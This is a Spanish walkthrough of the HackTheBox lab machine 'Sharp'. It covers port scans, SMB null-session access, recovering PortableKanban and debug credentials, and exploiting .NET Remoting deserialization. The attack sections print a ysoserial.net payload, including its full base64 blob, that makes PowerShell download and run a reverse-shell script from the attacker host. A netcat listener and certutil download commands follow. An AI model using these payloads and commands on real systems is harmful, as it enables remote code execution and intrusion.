Sharp

Escaneamos los

# Nmap 7.91 scan initiated Tue Mar  2 12:36:47 2021 as: nmap -p- --open -n -T5 -v -oG allPorts 10.10.10.219
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.10.10.219 ()	Status: Up
Host: 10.10.10.219 ()	Ports: 135/open/tcp//msrpc///, 139/open/tcp//netbios-ssn///, 445/open/tcp//microsoft-ds///, 5985/open/tcp//wsman///, 8888/open/tcp//sun-answerbook///, 8889/open/tcp//ddi-tcp-2///	Ignored State: filtered (65529)
# Nmap done at Tue Mar  2 12:38:10 2021 -- 1 IP address (1 host up) scanned in 82.36 secondsExcellent!

Servicios

# Nmap 7.91 scan initiated Tue Mar 2 12:38:40 2021 as: nmap -sCV -p135,139,445,5985,8888,8889 -oN targeted 10.10.10.219
Nmap scan report for 10.10.10.219
Host is up (0.070s latency).
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
8888/tcp open storagecraft-image StorageCraft Image Manager
8889/tcp open mc-nmf .NET Message Framing
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 3m06s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-03-02T18:42:53
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Mar 2 12:40:24 2021 -- 1 IP address (1 host up) scanned in 103.66 seconds

Entramos por SMB utilizando una sesión NULL.

Listamos el contenido de la carpeta que podemos visualizar.

Descargamos el contenido y lo pasamos a una máquina Windows.

En el archivo PortableKanban.pk3, vemos que tenemos en este archivo el usuario Administrator y su contraseña encriptada, antes de realizar cracking, intentaremos borrar la contraseña de archivo de configuración, supongo lo utiliza a la hora de arrancar, toma la contraseña de este archivo.

Solo tenemos que borrar la contraseña de los archivos PortableKanban.pk3 PortableKanban.pk3.bak, para poder ingresar.

Si clicamos en Setup podemos ver diferentes pestañas, la más importante Users, primero debemos desplomar la casilla y la contraseña será visible.

Con este usuario y contraseña probamos ingresar por medio de SMB.

En el directorio dev, se encuentra un par de ejecutables interesantes.

Descargamos el contenido

Utilizaré dnSpy https://github.com/dnSpy/dnSpy para ver el código fuente de la aplicación. Abrimos el cliente y servidor. Lo importante aquí es la clase Client, podemos ver que se establece una conexión TCP por el puerto 8888, con el usuario debug y contraseña SharpApplicationDebugUserPassword123!,

Existe un exploit para aprovecharnos de .NET en los servicios en canales remotos. Utilizaré la versión complica, del siguiente enlace y también ysoserial para generar un payload.

https://github.com/parteeksingh005/ExploitRemotingService_Compiled

https://github.com/pwntester/ysoserial.net

Generando payload.

.\ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "powershell -c IEX(new-object net.webclient).downloadstring('http://10.10.14.174/Invoke-PowerShellTcp.ps1')"

Generando binario.

.\ExploitRemotingService.exe -s --user=debug --pass="SharpApplicationDebugUserPassword123!" tcp://10.10.10.219:8888/SecretSharpDebugApplicationEndpoint raw AAEAAAD/////AQAAAAAAAAAMAgAAAElTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAFQ291bnQIQ29tcGFyZXIHVmVyc2lvbgVJdGVtcwADAAYIjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0IAgAAAAIAAAAJAwAAAAIAAAAJBAAAAAQDAAAAjQFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5Db21wYXJpc29uQ29tcGFyZXJgMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0BAAAAC19jb21wYXJpc29uAyJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBgAAAG0vYyBwb3dlcnNoZWxsIC1jIElFWChuZXctb2JqZWN0IG5ldC53ZWJjbGllbnQpLmRvd25sb2Fkc3RyaW5nKCdodHRwOi8vMTAuMTAuMTQuMTc0L0ludm9rZS1Qb3dlclNoZWxsVGNwLnBzMScpBgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAACwAlN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GDAAAAEttc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0AAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OQYOAAAAGlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQJEAAAAAQJAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ25hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQkPAAAACQ0AAAAJDgAAAAYUAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhUAAAA+U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MgU3RhcnQoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEKAAAACQAAAAYWAAAAB0NvbXBhcmUJDAAAAAYYAAAADVN5c3RlbS5TdHJpbmcGGQAAACtJbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpBhoAAAAyU3lzdGVtLkludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykIAAAACgEQAAAACAAAAAYbAAAAcVN5c3RlbS5Db21wYXJpc29uYDFbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCQwAAAAKCQwAAAAJGAAAAAkWAAAACgs=

Debemos de transferir el archivo y ponernos en escucha.

python3 -m http.server 80
nc64.exe -lvnp 7770

Vemos con los permisos que cuenta el archivo.

SI lo ejecutamos, vemos que nos trae información del sistema.

Por lo que copie todo el contenido al recurso \dev para descargarlo desde mi máquina.

Copy-Item -Path "C:\Users\lars\Documents\wcf\*" -Destination "C:\dev" -Recurse

Descargamos Visual Studio Community para visualizar el proyecto. Podemos ver la clase cliente, a donde se conecta y la información que nos devuelve.

En su momento no tome las suficientes capturas, pero en alguna clase, vamos a ver que están algunas funciones, por ejemplo GetDiskInfo o GetCpuInfo, en esa clase vamos a ver que existe una función llamada InvokePowerShell, por lo que podemos deducir que podemos ejecutar comandos.

Basta con agregar una línea en el método principal que invoque la función anterior para obtener una reverse shell.

Una vez que este complidado debemos de pasar los archivos al servidor.

certutil -urlcache -split -f http://10.10.14.174/WcfClient.exe WcfClient.exe
certutil -urlcache -split -f http://10.10.14.174/WcfRemotingLibrary.dll WcfRemotingLibrary.dll

Ejecutamos WcfClient.exe

https://book.hacktricks.xyz/windows/basic-powershell-for-pentesters#download

Last updated

Was this helpful?